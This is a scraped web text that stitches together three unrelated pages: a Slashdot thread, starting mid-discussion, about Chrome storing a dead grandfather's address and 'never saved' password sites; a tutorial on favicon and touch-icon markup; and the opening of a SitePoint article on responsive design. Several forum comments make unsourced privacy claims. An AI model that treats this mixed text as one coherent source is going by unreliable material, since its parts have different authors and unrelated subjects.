            by DrYak ( 748999 ) writes:

            It'basic feature in Google Maps, they can even tell you when (each date if multiple times) you visited. Not only if you had maps open or the place as destination. It's opt-in, comes with location tracking.

            The problem, according to several security researchers (too busy to find the exact sources, but you could google^H... sorry DuckDuckGo it) is that the *display* of this travel history is opt-in.
            Google collecting it *is not*: Apperently Google records all your movements no matter what setting.

        • Re: (Score:2)

          by Kazymyr ( 190114 ) writes:

          and GPS don't work as tree neither.

          Hm. If the GPS coordinates of the phones of 2 or more users spend extensive amounts of time within a few feet of each other, some inferences can be made.

          • ( ^- the TL;DR version of my rant ) (Score:2)

            by DrYak ( 748999 ) writes:

            Hm. If the GPS coordinates of the phones of 2 or more users spend extensive amounts of time within a few feet of each other, some inferences can be made.

            A nice shortening of my long rant.

            (Though in my example, I was more thinking or 1 user spend extensive amount of time withint a few feet of a phonebook's address, given that the grandad never had internet nor a smartphone. But basically that's it)

      • Re: (Score:2)

        by e3m4n ( 947977 ) writes:

        Have you ever tried to set up an account with a banking or life insurance company? I don’t mean start something. I mean just get your online profile going so you can login and access the account you already have. They often ask you to prove your identity. Sometimes it shows addresses in other cities lived in in 15 years. One time it asked me what ZIP Code I lived in when I lived with X name. I didn’t even recognize the name. Turns out it was some girlfriend I lived with 30 years ago some 2

        • Re: (Score:2)

          by e3m4n ( 947977 ) writes:

          You’ll have to forgive Siri for totally fucking replacing one word with something nonsensical. I was making a reference to the movie “sleeping with enemy” I wish we had an edit button

      • Re: So? (Score:2)

        by argStyopa ( 232550 ) writes:

        You know there are other publicly available sources of data (for example, the Mormon genealogy data) that are a) connected to the internet, b) require no user participation to be included, and c) aren't the phone book right ?

      • Re: (Score:2)

        by Darinbob ( 1142669 ) writes:

        Credit reports and background checks too. They seem to have some detailed information. Much of it is plain wrong, while other parts are a bit mysterious (mine lists an address for me back in college where I just spent a couple months on a friend's sofa).

    • Re: (Score:3)

      by serviscope_minor ( 664417 ) writes:

      So what? Google has the right to tell us what they know from public sources.

      So what? Legal right does not equate to moral right. It's legal for companies to build massive surveillance machines because the laws surrounding that kind of thing were written when you'd need to fork over large amounts of cash to get a PI to follow someone in order to know that much about them. People back then had large amounts of privacy even in public places because for most people, most of the time it was not possible to track

      • Re: (Score:2)

        by TheRealMindChild ( 743925 ) writes:

        Legal right does not equate to moral right.

        This is where the idea of free market capitalism falls on its face. That company, or any other for that matter, is an entity with absolutely no heart and soul, whose sole purpose for existing is to make money. The larger it gets, the more disconnected it becomes from anyones moral direction. They become the Borg. An ant colony. Zerg. If you want to shape their behavior, it has to be through the legal system. You either create laws to fence in the beast, or it wil

    • Re: So? (Score:2)

      by Way Smarter Than You ( 6157664 ) writes:

      Those piles of public information were public before the internet was a thing and were not intended to allow global megacorps to invade our privacy, profile us, resell us to advertisers and countless governments, and make us easily findable and stalkable. We should reconsider what is public information or at least put licenses on the data to prevent these originally unforeseen abuses. Google (which means management and every employee) is evil as fuck and needs to be stopped. They'll crawl through any lo

    • Re: (Score:2)

      by denzacar ( 181829 ) writes:

      Please, do bring that gun when you face the cops someone swatted you with. And make sure to yell at them those same things you spouted there.
      Sometimes they can't hear well over their helmets.
      And all the gunfire that made you, your family and probably the next door neighbors, into less of a humanoid shape than a texture.
      And do deck out your home with cameras. Makes it look more like a paranoid's meth lab to cops.

      You don't live in a "phone books" world anymore, grandpa. It's the information age, haven't you h

    • And it's nothing new, either . . . (Score:2)

      by hawk ( 1151 ) writes:

      old data has been getting into computers for decades, predating the internet.

      I got a call in a bout 1989 from my grandmother, wondering what she should do.

      She had just received mail addressed to *her* father (who built the house she still lived in). It was a pre-approved gold card with a $5k limit . . .

      Understand, my great-grandfather was well over 50 years in the grave at that point, having died in her childhood before WWII, Enicac and the ABC, etc. . .

      hawk

  • Isn't that obvious it would save those somewhere? (Score:5, Insightful)

    by Admiral Krunch ( 6177530 ) writes: on Sunday September 08, 2019 @12:46AM (#59170262)

    Toscano also discovered Chrome has been creating a list of "Never Saved" passwords at chrome://settings/passwords?search=credentials

    So when Crome asked you if you wanted to save the password and you chose never save. How the fuck did you think it would remember for next time if it didn't make a list?
    If you didn't want the list of never saved sites, just don't choose that option and just say no each times it asks if you want to save it. Problem solved.

    Reply to This Share

    twitter facebook linkedin

    Flag as Inappropriate

    • Re:Isn't that obvious it would save those somewher (Score:4, Insightful)

      by Macfox ( 50100 ) writes: on Sunday September 08, 2019 @01:47AM (#59170352) Homepage

      Kind of interesting that someone that contracted to Google lacks the the ability to grasp such a basic concept.

      Hey Chrome... Don't ever prompt me to save a password for the site ever again and don't record I asked you to do this..... Ever.

      Are we sure he stopped working (with Google) for ethical reasons?

      Reply to This Parent Share

      twitter facebook linkedin

      Flag as Inappropriate

    • Re:Isn't that obvious it would save those somewher (Score:5, Insightful)

      by jrumney ( 197329 ) writes: on Sunday September 08, 2019 @05:41AM (#59170594)

      Also, the "knowing my Grandpa's data" part - that chrome://settings/addresses page is where saved form data for address forms can be deleted. He, or someone with access to his account, must have entered it sometime - the only info here is what you have typed into a form sometime, not random info Google is finding about your relatives in public sources.

      I'm sure Google is not too upset about him quitting, he doesn't seem to meet up to what I'd expect their normal minimum standards would be for a technical position.

      Reply to This Parent Share

      twitter facebook linkedin

      Flag as Inappropriate

      • Re: (Score:2)

        by Topwiz ( 1470979 ) writes:

        They probably forgot that 10 years ago they ordered grandpa a birthday present from Amazon or some other website and typed in his address to the order form.

      • Re: (Score:2)

        by swillden ( 191260 ) writes:

        I'm sure Google is not too upset about him quitting, he doesn't seem to meet up to what I'd expect their normal minimum standards would be for a technical position.

        He says he was an "experience design consultant". That's not really a technical position.

    • Re: (Score:2)

      by e3m4n ( 947977 ) writes:

      Yea I'm rather thankful for the ‘stop fucking asking me’ option. Not that I trust Google with anything else, but I’m glad I have the option not to be nagged all the time

    • Re: (Score:2)

      by swillden ( 191260 ) writes:

      I'm sure Google is not too upset about him quitting, he doesn't seem to meet up to what I'd expect their normal minimum standards would be for a technical position.

      Also, the text around that comment is weird. The author says:

      At no point did I tell Google to create and store a list of websites I had logged into that they didn't get access to but would like access to at some point in the future.

      Does he seriously believe that Google accesses the accounts for which he does store credentials? That would be a blatant violation of federal law, and one which they would absolutely get caught committing if they did.

      As it happens, I know a little about how passwords entered

      • Re: Isn't that obvious it would save those somewhe (Score:2)

        by LubosD ( 909058 ) writes:

        Why? If you change your mind, it's useful to know for which sites you've enabled the feature.

      • Re: (Score:2)

        by Todd Knarr ( 15451 ) writes:

        How do you think the Back button works, if not by keeping a list of what URLs you've visited? And it's readable only in the browser where it's decrypted (you did set a master password on the browser, right?), any other program will see only an encrypted form.

      • Re: (Score:2)

        by swillden ( 191260 ) writes:

        So when Crome asked you if you wanted to save the password and you chose never save. How the fuck did you think it would remember for next time if it didn't make a list?

        By hashing the site`s urls, so that they don`t have to store them in clear text. Having a readable list of any site I log into is something I don`t want stored by the browser.

        And if you later decide you do want Chrome to save the login info for that web site? How do you figure out which "never save" entry to remove?

        Also, to achieve the goal you (erroneously, IMO) think you want, simple hashing is not enough. The space of all domain names, and even login page URLs, is far too small for hashing to be useful. Even with salting to eliminate rainbow table attacks.

      • Re: Isn't that obvious it would save those somewhe (Score:2)

        by orlanz ( 882574 ) writes:

        Yup. I read past that and in the back of my mind was praying he don't backup the bad UX stereotype. And then read the rest and thought... crap. Why do these idiots end up on the front pages like freak shows at a carnival.

        Clearly he knows very very little about how programs and computers work. If he ever dives into Facebook, he will probably go live in the woods off grid. "Omg, FB suggested tagging my GPs face with his real name in a pic I uploaded! My GP didn't have a FB account!"

  • Public record (Score:2)

    by Ryzilynt ( 3492885 ) writes:

    Isn't this type of information available in public record?

    I did some skip tracing years ago. I had access to relatives , neighbors, public record, etc.

    So yeah , that's how

    • Re: (Score:2)

      by iggymanz ( 596061 ) writes:

      of course, it really is a stupid question for any adult U.S. citizen to be asking. Where do they think businesses get junk mail contacts? where do they think pollsters get phone numbers and addresses? Jeez.

      For decades, here is what is public that companies can use (and many states have lists on internet):

      your name, address, phone number, age, drivers license number, whether you are registered voter or not, any convictions, marital status and spouse and parents of the wed, divorces, death records

      an

      • Re: (Score:2)

        by iggymanz ( 596061 ) writes:

        oh yeah, forgot, also all real estate transactions including sale price and all parties that signed mortgage or title

  • I have a much more likely explanation (Score:5, Insightful)

    by Anonymous Coward writes: on Sunday September 08, 2019 @01:03AM (#59170300)

    Someone typed in his grandfather's address once over the past 10 years and either forgot about it or he was not aware of it (because for example his wife or children used his computer). Computers are not magic. There is no way for Google to magically link this person to his grandfather unless someone gave away this information in the first place.

    And it's irrelevant whether the grandfather used the internet or not. What's relevant is whether someone talked about the grandfather using the internet.

    Reply to This Share

    twitter facebook linkedin

    Flag as Inappropriate

    • Re: I have a much more likely explanation (Score:2)

      by aiht ( 1017790 ) writes:

      Exactly so. This is the list of addresses saved when they were entered in a web form, remembered (optionally) so you can enter it again later. It's not some magic web search of everybody related to you for no discernible purpose.

    • Re: (Score:3)

      by ArchieBunker ( 132337 ) writes:

      How is facebook able to build shadow profiles for people who don't even have accounts? They are filling in the blanks.

      • Re: (Score:2)

        by kwerle ( 39371 ) writes:

        Bob has never used facebook. His friends Sue and Dan are both avid users. Sue and Dan both uploaded their contact lists - which include Bob.

        Facebook also scraped public records for Bob.

        Facebook instantly infers lots of stuff about Bob. They know where he lives. They know where he went to school. They know who his friends are. Bob's nephew entered his family tree on some site. So Facebook knows his whole family back 10 generations and also his kids' names.

        Your lives are as private as your loudest frie

    • Re: (Score:3)

      by keltor ( 99721 ) * writes:

      That particular list is definitely 100% from entered form data. That is of course NOT to say that Google doesn't have some mystical family tree of public information and data on you, just that the location in question is simply not it.

    • Re: (Score:2)

      by Theaetetus ( 590071 ) writes:

      Someone typed in his grandfather's address once over the past 10 years and either forgot about it or he was not aware of it (because for example his wife or children used his computer).

      He probably ordered something to be delivered to his grandfather.

    • Re: (Score:2)

      by Bite The Pillow ( 3087109 ) writes:

      "My parents entered his information when I was logged into their home desktop between April 2019 and June 2019 while my computer was getting fixed after serious water damage. I thought this might have been a real possibility. However, I found out that they had not. He passed away on March 1st, 2019 and they said the only time theyâ(TM)ve used his information anywhere is with the lawyers, estate managers, bankers, etc who were helping in the process of our family dealing with his death."

      That's in TFA as

    • Re: (Score:2)

      by saccade.com ( 771661 ) writes:

      +1. At some point, he used UPS/USPS/FedEx/Amazon/etc. to send something to his grandparent, and it saved the address so it could auto-fill it the next time. This is not voodoo, and it's not even a privacy violation since it's local to his computer. Google may be doing all sorts of evil things, but this isn't one of them.

    • Re: (Score:2)

      by cgimusic ( 2788705 ) writes:

      Yeah, the person who wrote the article is an idiot. It's bad enough that it makes me wonder if he's a Google shill trying to distract from the actual invasions of privacy Google are constantly doing.

  • Had the same thing with my Grandmother (Score:5, Interesting)

    by mykepredko ( 40154 ) writes: on Sunday September 08, 2019 @01:07AM (#59170308) Homepage

    who died in 1991.

    We noticed it when my mother died last year and we were pulling together lists of people to notify and found my grandmother's phone and address on Google (as well as iCloud when we went looking there).

    The only thing I can think of is that I had her and my grandfather in my IBM VM telephone directory that was transferred into Lotus and, from there, into to my palm pilot that got picked up into my Blackberries that got sucked up into my iPhones which ended up on iCloud and in my Google address book. When she died, I thought I had updated the entry for just my grandfather (who died in 1997) and I couldn't find an entry for him anywhere.

    There's probably no magic to it - just that when you think you've deleted something, it gets marked as deleted but never removed from the database and pops up sometime in the future when the "deleted" meta data can't be processed. I've seen it with a few other contacts that I know I've deleted over the years but appear much to my surprise.

    Reply to This Share

    twitter facebook linkedin

    Flag as Inappropriate

  • Logged into the Internet? (Score:2)

    by Retired ICS ( 6159680 ) writes:

    I've never Logged into the Internet either. Though I have been connected to the Internet since the mid-1980's.

    • Re: Logged into the Internet? (Score:2)

      by Way Smarter Than You ( 6157664 ) writes:

      So you only use the internet at libraries and on other people's phones and computers? Really? Do you really have no idea how technology works? Your phones has to connect to the 4G/lLTE network. It has a unique identifier associated with you, the phone's registered owner. That billing info is your name, address, phone, credit card at a minimum. Your credit card company has a list of all your purchases. The credit agencies do, too. Which means the government and banks do, too. And so on. You are ve

      • Re: (Score:2)

        by angel'o'sphere ( 80593 ) writes:

        You are very definitely "logged in" to the internet.
        You probably don't get his subtile sarcasm.
        No, he is not "logged in into the internet". Nor am I. But at the moment I'm logged into /. And I'm *connected to the internet*

  • Conspiracy theory (Score:2, Troll)

    by aiht ( 1017790 ) writes:

    I have a new conspiracy theory: that Google themselves are deliberately poisoning the well with privacy complaints so ridiculous that we learn to dismiss them as mere paranoia, then when there is a real issue nobody will pay attention.

    3: Profit!

  • if you are concerned about privacy - (Score:5, Insightful)

    by swell ( 195815 ) writes: on Sunday September 08, 2019 @01:24AM (#59170330)

    why are you using Chrome?

    Perhaps you have heard of Firefox, the privacy oriented browser? There are others too. And there are add-ons that can help protect your privacy.

    After all these years, anyone using a Google (or FB, etc) product who expects privacy has to be considered a fool.

    Ultimately there is no protection. Your data is out there. Google and others will find it. But don't hand it to them on a silver platter and then complain about it.

    Reply to This Share

    twitter facebook linkedin

    Flag as Inappropriate

    • Re: (Score:2)

      by fred911 ( 83970 ) writes:

      ''But don't hand it to them on a silver platter and then complain about it.''

      There's no handing that isn't permissive and fully disclosed by the TOS that is presented each and every time a user opts to use the service. Many of the products and services have ability to choose what or if to share certain type of data. All of them have a dashboard that is easily deleted. I've used their products since they were invite and I've never seem them break any of the terms without notification [and with the ability to

      • Re: (Score:2)

        by moronoxyd ( 1000371 ) writes:

          You don't have a right to receive service from a business without providing something of value to make useage mutually beneficial.

        Incorrect. I do have the right to receive service from a business without providing something if the business doesn't ask for something in return for providing the service.
        No that there are many businesses that provide services without asking for something in return.

      • Re: if you are concerned about privacy - (Score:2)

        by Way Smarter Than You ( 6157664 ) writes:

        This post you're reading has a TOS. By reading my post you have agreed that: a) you know nothing about the law, b) you're a google employee corporate shill, c) you are happy to give away your privacy forever (a thing of infinite value) in exchange for reading some crap, d) yermom. Yes, yermom. She's part of the shrink wrap TOS you just agreed to.

    • Re: (Score:2)

      by tepples ( 727027 ) writes:

      why are you using Chrome?

      Received a pre-Crostini Chromebook as a gift perhaps? A newer Chromebook with Crostini can run Firefox, but older Chromebooks cannot run any application other than Google Chrome without first being put in the self-destructing developer mode.

  • Don't talk bad about Google you *"#~={% (Score:2, Funny)

    by peppepz ( 1311345 ) writes:

    Boy, are slashdot commenters upset when they touch their Google.

  • Cry havoc and loose the EU regulators (Score:3, Informative)

    by zkiwi34 ( 974563 ) writes: on Sunday September 08, 2019 @01:37AM (#59170340)

    This sort of thing probably breaks a zillion of their privacy regulations.

    Reply to This Share

    twitter facebook linkedin

    Flag as Inappropriate

  • His Ghost (Score:2)

    by wolfheart111 ( 2496796 ) writes:

    Was digitized, and trying to communicate with you... Ya thats gotta be it.

  • Chrome saved addresses (Score:5, Informative)

    by jcam2 ( 248062 ) writes: on Sunday September 08, 2019 @01:43AM (#59170350) Homepage

    Chrome saves addresses you enter for shipping destinations, so it can autofill them on other websites. Maybe the OP entered his grandparent's addresses one some website when ordering something online to be shipped to them?

    Reply to This Share

    twitter facebook linkedin

    Flag as Inappropriate

    • Re: (Score:2)

      by cascadingstylesheet ( 140919 ) writes:

      Chrome saves addresses you enter for shipping destinations, so it can autofill them on other websites. Maybe the OP entered his grandparent's addresses one some website when ordering something online to be shipped to them?

      Impossible! It's evil internet magic!!

    • Re: (Score:2)

      by Stan92057 ( 737634 ) writes:

      And why should they save anything when you were never asked to save it..if i do business at a web site and its an https site google has no business data mining on the connection don't ya think? for any reason with out permission and a way to say no.

    • Re: (Score:2)

      by olau ( 314197 ) writes:

      If you actually RTFA, he discusses this and remarks that since it is in all caps, he couldn't have written it himself.

  • Android phones (Score:2)

    by oldnuskeet ( 6194988 ) writes:

    I have met a big number of people who have zero internet/ tech knowledge. They donâ(TM)t use email, donâ(TM)t know their own password. Still, when they buy a phone the dealer creates an email for them to log into the App Store. They donâ(TM)t even know they have an account. Of course the dealer doesnâ(TM)t bother with privacy options. So, google tracks them with their phone and can form connections because of their contact list.

  • My chrome is kind of stupid (Score:2)

    by kyoko21 ( 198413 ) writes:

    Hmmm...

    I just finished reading the article and thought I'd do the same thing. I too found a list of never saved password sites but I mean I pretty knew that because in order to know to never save a password for a site, it has to at least remember which sites to never ask me to save passwords for or else, it is going to keep asking me over and over again if I want to save a password... LOL!

    As far as addresses goes, this one I was kind of dumbfounded because the only address it has listed is my own address. H

  • get really scared (Score:2)

    by bigtreeman ( 565428 ) writes:

    If you want to be really scared about companies storing and sharing your data, read IBM and the Holocaust by Edwin Black

  • Not only the Internet (Score:2)

    by nospam007 ( 722110 ) * writes:

    The Mormons also baptized him posthumously.

  • When I attempted this, ... (Score:2)

    by OneSmartFellow ( 716217 ) writes:

    I get a "site not found" error page.

    Granted I tried on my Android device, so perhaps this functionality is only available on a non-Android version of chrome

  • Facebook (Score:2)

    by Colourspace ( 563895 ) writes:

    I was only on FB for a short while in 2008 before de-activating (I won't say deleting..) my account there. I met my current partner in 2011. Last year she was recommend a 'friend' who was a girl I last dated in 1998 and last spoke to in 2001, well before FB started and I certainly never contacted her through FB. I suspect it's from FB trawling old email addresses, but still.. So their algorithms have a pretty far, pretty scary reach. I have no doubt they still have a shadow profile on me.

    • Re: (Score:2)

      by angel'o'sphere ( 80593 ) writes:

      Many people use the FB app.
      Many people grant the app access to the Addressbook of the phone (for sending messages or using video calls).
      The FB app uploads all your contacts to the server (or not? no idea) ... easy to cross reference in over night batch jobs.
      LinkedIn in and other sites do the same. I as sailing with a Lady and few others. We did not know each other before but exchanged phone numbers, so we can contact each other when we reach the boat and one is still on the way etc.
      Two days after I was back

  • In loving memory (Score:2)

    by fox171171 ( 1425329 ) writes:

    I recently had a Google Photos automatically generated video titled "In Loving Memory". It was short, showing maybe four or five pictures that contained my wife's grandmother, who died a year or so ago.

    I only had a few pictures from my phone that she was in.

    How did Google know who she was? How did they know that she was dead? None of that would have been available from my google account. It doesn't use my real name either, but no doubt connected somehow.

    She didn't use computers. I don't use Facebook. My wif

  • OP should have their internet licence revoked (Score:2)

    by noodler ( 724788 ) writes:

    Such basic failing of understanding it hurts my head.

  • Xyz (Score:2)

    by Impy the Impiuos Imp ( 442658 ) writes:

    A lot of ancestry paperwork on censuses, public info, if buried deep in ancient rusty cabinets, has been entered into computers and is available on ancestry sites. They can make reasonable guesses of linkages as people move around. I found where my mom's parents lived with their little baby, her own mom, thanks to a free trial. And what he was earning for that matter.

    • Re: (Score:2)

      by iggymanz ( 596061 ) writes:

      Nothing "buried deep" about it. States keep public lists of citizens. Also public lists of license holders. Where do you think pollsters got your name and phone number, or your address to do door to door questionnaires? Where do you think the junkmail senders got your info? Trivial for google to get all that (they know your license plate number too)

      Here's another shocker for those that somehow are unaware of all this, the companies can even get that data without using the internet (as they have been fo

  • laughing at you kids (Score:2)

    by iggymanz ( 596061 ) writes:

    So I see here some theorizing android phones or browser tracking or social media or other digital "big data" stuff. Nonsense.

    This Joe T. should know if he's an adult. What an ignoramus. How does someone reach adulthood without knowing?

    Where does Joe think pollsters get his phone number? or his address? or junk mailers get his name and address? or the phone books gets name and address and number?

    All states, for decades even before the internet was a word, have publically available records and any comp

  • Oh naivety (Score:2)

    by r2kordmaa ( 1163933 ) writes:

    ancestry.com, geni.com etc etc, internet has information about your ancestors who were dead before the light bulb was invented.

    • Re: (Score:2)

      by passionplay ( 607862 ) writes:

      Mod parent up. Public records are public. If you want it to not be public, submit a privacy request to remove the data item. You'll have to do it with every service that records public information. Or hire a firm to do it for you.

        • Re: (Score:2)

          by Teun ( 17872 ) writes:

          And both forget to explain how this data was paired with him.

          • Re: (Score:2)

            by rudy_wayne ( 414635 ) writes:

            And both forget to explain how this data was paired with him.

            By pulling in billions of pieces of publicly available information and then cross-referencing.

            John A Smith bought a house at 1234 Main Street in 1997 (public record)
            Robert L Smith is listed in some other public record as having at 1234 Main Street in 1997.

            Even if neither of them owned a computer or ever used the Internet, you can easily make the connection, based on name and address, that they much be related somehow.

            Aren't computers magical?

    • Re: You have no privacy online. Period. (Score:3)

      by buchanmilne ( 258619 ) writes:

      "1. Your ISP stores forever all of the sites you visit."

      I previously worked for my current ISP. They were able to do analytics on websites used, but only the raw data used to poplulate the DW contained any indentifying information, and was deleted after ETL. The DW only contained domain, count and latency information aggregated by region and product, for operational improvement an product development reasons.

      "2. DNS servers store all history of your DNS requests."

      Our DNS servers only stored statistics on DN

      • Re: (Score:2)

        by markdavis ( 642305 ) writes:

        "1. Your ISP stores forever all of the sites you visit."
        " I previously worked for my current ISP. They were able to do analytics on websites used, but only"

        Prologue- All browsers not Firefox or Safari are Chrome ("Chrom*)

        That is why Google wants to use DNS over HTTPS, so THEY can track you, instead, when you use Chrom*. Don't use Chrom*.

        "2. DNS servers store all history of your DNS requests."

        " Our DNS servers only stored statistics on DNS operations, no identifying information."

        Same

    • Re: (Score:2)

      by bzipitidoo ( 647217 ) writes:

      Some privacy expectations are unreasonable. We have exaggerated notions of what is truly private. Such things as mother's maiden name, Social Security number, and credit card number are simply not private. Many people knew our mothers when they were single. All kinds of bureaucrats have people's official numbers. Every merchant you've ever paid with a credit card can have your credit card number. In small towns, everyone knows everyone, and often everyone's grandparents.

      Makes me cringe every time I

Related Links Top of the: day, week, month.

next

Ask Slashdot: How Will The Internet Affect The Next Generation?

131 comments

previous

MIT Media Lab Chief Joi Ito Resigns Following Ronan Farrow's New Yorker Expose

69 comments

Slashdot Top Deals

Adguard Premium: Lifetime Subscription

$30

Pay What You Want: The Complete Amazon Web Services eBook Bundle

$1

Ivacy VPN: Lifetime Subscription + NAT Firewall

$40

The Complete Google Go Developer Master Class Bundle

$29

Mobile Design Master Class: Learn UI/UX & Start Your Freelancing Career

$13

Pay What You Want: The FastestVPN Lifetime Subscription Bundle

$1

Slashdot

Post Moderate Moderator Help Delete

Hackers of the world, unite!

Trademarks property of their respective owners. Comments owned by the poster. Copyright © 2019 SlashdotMedia. All Rights Reserved.

Close

Close

Slashdot

Working...

Add Tags ?

AddDeleteNo

close

close

All About Favicons (And Touch Icons)

All About Favicons (And Touch Icons) set Restriction




Open Site Navigation

bitsofcode

Open Site Search

Close Navigation

All About Favicons (And Touch Icons)

Saved! Click to remove article Apr 21, 2015 html

This week I decided to look into the proper ways to use site favicons (and by extension, mobile "touch icons") across browsers. Although there are already quite a few articles on this topic, I decided to write this post as a way for me to bring together everything I have researched and present it in an easy to understand format for myself and, hopefully, you.

The Basics

The favicon (favourite icon) is an image used by browsers to represent a web page. It is typically 16x16 pixels, but varying and larger sizes are now more frequently required due to browsers using them in a growing number of ways -

  • The address bar
  • The links bar
  • Bookmarks
  • Tabs
  • Desktop icon

If we do not specify where to find the favicon, all major browsers (as early as IE5) will by default search for a file named "favicon.ico" in the website's root directory. This means that we technically do not need to declare anything else to have a working favicon.

However, using the ico format can be limiting. It doesn't support transparency, and isn't the most optimized for the web. Nowadays, we are able to use a wider range of formats including png, gif, jpeg, and, in limited circumstances, svg.

Favicon Declaration & the Link Tag

If deviating from the default, favicons can be declared using the <link> tag. The tag accepts the following attributes -

<link rel="" type="" sizes="" href="">

Rel

The rel attribute is used to declare the relationship between the html document and the linked item. We use this for linking stylesheets among other things. With regards to favicons, the official HTML documentation states that this attribute should be set to as -

 <link rel="icon">

However, as you may have seen before, the attribute is sometimes written as -

 <link rel="shortcut icon">

This is because some older browsers (IE8 and below) require it to be written this way, and will ignore the entire tag if otherwise. For this reason, although shortcut icon is not formally part of HTML5, it is still recognised and modern browsers will accept it. However, for reasons I will explain, you may only need to use the official method in practice.

Type

The type attribute specifies the MIME type format of the item being linked. For example an ico file is of the type image/x-icon and a png file image/png.

According to the W3C, specifying the type is "purely advisory":

"The type attribute is used as a hint to user agents so that they can avoid fetching resources they do not support... User agents must not consider the type attribute authoritative"

Despite this, IE 9 and 10 require the type attribute to be specified. In these versions, although the need to define the rel attribute as shortcut icon was removed, they instead added a need to specify the media type as image/x-icon.

Luckily, that is not the case for IE 11, which, like other modern browsers, does not require a media type to be specified.

Sizes

The sizes attribute is used to declare what size you want the particular linked file to be used for. As different sizes are used for different purposes, you can serve optimised files for each of these purposes. This is especially important when using png files, as they are not scalable. Here is a great cheat sheet which shows what sizes you need and what they are used for.

Href

This specifies the location of the favicon.

Putting it together

Browser Link “rel”/ “type” Accepted Formats
IE 8 and below link rel=”shortcut icon” ico
IE 9, IE 10 link rel=”icon” type=”image/x-icon” or
link rel=”shortcut icon” ico
IE 11 link rel=”icon” ico, png, gif
Chrome link rel=”icon” ico, png, gif
Firefox link rel=”icon” ico, png, gif, svg*
Safari link rel=”icon” ico, png, gif
Opera link rel=”icon” ico, png, gif

Based on these differences, it may seem like the best method would be to declare two versions - the png files using the modern method and an ico file using the IE8 method.

However, it appears that some modern browsers will choose a linked ico file over a linked png file, regardless of the order they are placed. This means that, if we try to accomodate for the older IE browsers, the modern browsers may be served the wrong format.

Because of this, the best solution may be to only declare the png format files, and let older browsers use the default as a fallback.

<!-- For IE 10 and below -->
<!--  No link, just place a file called favicon.ico in the root directory -->

<!-- For IE 11, Chrome, Firefox, Safari, Opera -->
<link rel="icon" href="path/to/favicon-16.png" sizes="16x16" type="image/png">
<link rel="icon" href="path/to/favicon-32.png" sizes="32x32" type="image/png">
<link rel="icon" href="path/to/favicon-48.png" sizes="48x48" type="image/png">
<link rel="icon" href="path/to/favicon-62.png" sizes="62x62" type="image/png">

Touch Icons for Mobile Devices

Some mobile browsers allow users to bookmark the web page to their home screen. We can provide a special icon to be used in these cases, similar to a native application icon.

The way we define what image to use as this "touch icon" is, of course, dependent on the browser/device.

Device / Browser Link “rel” Sizes
Apple / Safari link rel=”apple-touch-icon” or
link rel=”apple-touch-icon-precomposed” 76x76 - iPad 2 and iPad mini
120x120 - iPhone 4s, 5, 6
152x152 - iPad (retina)
180x180 - iPhone 6 Plus
Apple / Opera Coast link rel=”icon”
(Will also accept Safari and Windows formats) 228x228
Android / Chrome link rel=”icon”
(Will, for a limited time, also accept Safari format) 192x192

For Windows, these icons are defined using the meta tag instead.

For Windows 8 / IE 10 -

<meta name="msapplication-TileImage" content="pinned-tile.png">
<meta name="msapplication-TileColor" content="#009900">

For Windows 8.1 / IE 11 -

<!-- In <head> -->
<meta name="msapplication-config" content="ieconfig.xml" />

<!--  In ieconfig.xml -->
<?xml version="1.0" encoding="utf-8"?>
<browserconfig>
  <msapplication>
    <tile>
      <square70x70logo src="images/smalltile.png"/>
      <square150x150logo src="images/mediumtile.png"/>
      <wide310x150logo src="images/widetile.png"/>
      <square310x310logo src="images/largetile.png"/>
      <TileColor>#009900</TileColor>
    </tile>
  </msapplication>
</browserconfig>

That's (pretty much) it! For such a small part of a site, favicons require way too many parts. For very basic sites, I will probably just stick with using the ico format unless I need something fancier. I just can't wait until SVG favicons become a thing, although we are still a long way away!

Subscribe to the Newsletter

Receive quality articles written by Ire Aderinokun, frontend developer and user interface designer.

Email Address

First Name

More Posts

[←

Payback - An Instagram Based Web App](/payback-an-instagram-based-web-app/)

javascript, projects

[→

FormHack.io - A Hackable CSS Form Reset](/formhack-css-form-reset/)

css, projects

bitsofcode. Articles on frontend development and more.

All articles are written by Ire Aderinokun, frontend developer and user interface designer.

Follow @ireaderinokun

All articles written with ❤ by Ire Aderinokun

Add Tags ?

AddDeleteNo

close

close

Top 10 Front-End Development Frameworks — SitePoint

                   Top 10 Front-End Development Frameworks — SitePoint                                           set Restriction  

Adjust Website to Keyboard Navigation and Screen-Readers

Read the Website's Accessibility Statement

Open the Accessibility Adjustments Interface

Quick Navigation | Click ENTER to start navigating

Quick Navigation (Alt+1) ↑↓ to navigate. ESC to close. Tab to skip.

Main Content

Homepage

Page Header Page Middle Page Footer





  1. javascript
  2. June 16, 2013
  3. By Ivaylo Gerchev

Top 10 Front-End Development Frameworks

(Editor’s note: purely for reasons of length and readability, this article is the first of two parts. This one focuses on the Bootstrap family, more will be profiled in the second part.)

As the Web matures and the range of mobile devices we use to access it rapidly grows, our jobs as web designers and developers get considerably more complicated.

A decade ago things were much simpler. Then, it was almost certain that most of our users were visiting our sites while sitting at their desk, looking at a large monitor. 960 pixels was more or less considered as a good width for a web page. Our main care was dealing with the dozen or so desktop browsers and jumping through a few extra browser hacks to support quirky old versions of Internet Explorer. But now, with the boom of handheld electronic devices in the last five to six years, everything has changed. We’ve seen the introduction of smartphones and tablets of all different sizes, eReaders, browsers on TVs and many others. The diversity is only going to increase each day.

Soon, more people will be accessing the Web on their mobile and alternate devices than on a desktop computer. In fact, already a significant number of people use their mobile phones as their only access to the Internet. That means it is important for us designers and developers to understand how to deal with this entire mobile world. And although, as of this writing, we haven’t entirely figured out how to make all the content we are accustomed to seeing at our desk provide an equally pleasing experience on our handheld devices, the technologies and tools for doing that get better.

One of the primary strategies we use when we deal with unknown viewport size is the so-called responsive web design. It’s a mechanism for providing custom layouts to devices based on the size of the browser window. By default, most browsers on small devices such as smartphones and tablets shrink a web page down to fit the screen and provide ways for zooming and moving around the page. Although it technically works, it is not such a great experience. The text is too small to read, the links too small to tap, and all that zooming and panning around is more or less distracting.

The technique of responsive web design is to serve a single HTML document to all devices by applying different style sheets based on the screen size in order to provide the most optimized layout for that device. For example, when the page is viewed on a large desktop browser, the content can be placed into multiple columns with normal navigation elements. But when that same page is viewed on a small smartphone screen, it appears in one column with large links for easy tapping. You can see just how responsive web design works at the Media Queries gallery site. Just open a design in your browser and then resize the window very narrow and very wide, and watch as the layout changes based on the window size.

So far we’ve seen that, at least for now, responsive web design is an sufficient solution for fighting with the growing device diversity, but what are the actual tools and technologies to implement it in our designs? Do we have to be web gurus to handle it or will just the essential skills we already have be enough? Are there any tools that can help us?

